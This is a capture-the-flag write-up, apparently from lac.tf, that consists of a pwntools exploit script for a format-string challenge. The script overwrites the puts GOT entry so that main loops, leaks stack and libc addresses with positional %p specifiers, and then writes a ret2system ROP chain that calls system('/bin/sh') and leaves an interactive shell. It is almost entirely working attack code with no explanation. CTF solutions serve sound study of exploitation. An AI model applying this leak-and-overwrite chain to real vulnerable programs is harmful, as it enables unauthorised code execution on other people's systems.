Tags: pwn leak format-strings
Rating:
```python
from pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]
e = context.binary = ELF(binary)
r = ROP(e)
if REMOTE:
libc = ELF('./rlibc.so.6')
else:
libc = e.libc
gs = '''
break *0x4011f3
continue
'''
#NUM = 8
#NUM2 = 10
def start():
if args.GDB:
return gdb.debug(e.path, gdbscript=gs)
elif args.REMOTE:
return remote("lac.tf",31135)
else:
return process(e.path)
p = start()
def loop_main():
log.info(b'Looping Main')
log.info(b'---------------------------------------')
pause()
main_bypass = 0x40117d
payload_writes = {
e.got['puts'] : main_bypass,
}
payload = fmtstr_payload(6,payload_writes,write_size='short')
p.sendlineafter(b'Lyrics:',payload)
def ret_leaks():
log.info(b'Returning Stack, Libc Leaks')
log.info(b'---------------------------------------')
pause()
chain = b'%37$p.%40$p'
p.sendlineafter(b'Lyrics:',chain)
p.recvuntil(b'Never gonna run around and')
leaks=p.recvline().strip(b'\n').strip(b' ').split(b'.')
return leaks
def ret2sys():
log.info(b'Writing Ret2System to Stack')
log.info(b'---------------------------------------')
payload_writes = {
e.got['puts'] : libc.sym['puts'],
stack : r.find_gadget(['pop rdi','ret'])[0],
stack +8 : next(libc.search(b'/bin/sh')),
stack +16 : libc.sym['system']
}
payload = fmtstr_payload(8,payload_writes,write_size='short')
p.sendlineafter(b'Lyrics:',payload)
loop_main()
leaks=ret_leaks()
stack_leak = int(leaks[0],16)
stack=stack_leak-(0x7ffeee3ecf30-0x7ffeee3ece48)
libc.address = int(leaks[1],16)-(libc.sym['__libc_start_main']+234)
log.info(b'Libc : 0x%x' %libc.address)
log.info(b'Stack : 0x%x' %stack)
log.info(b'---------------------------------------')
pause()
ret2sys()
p.interactive()
```
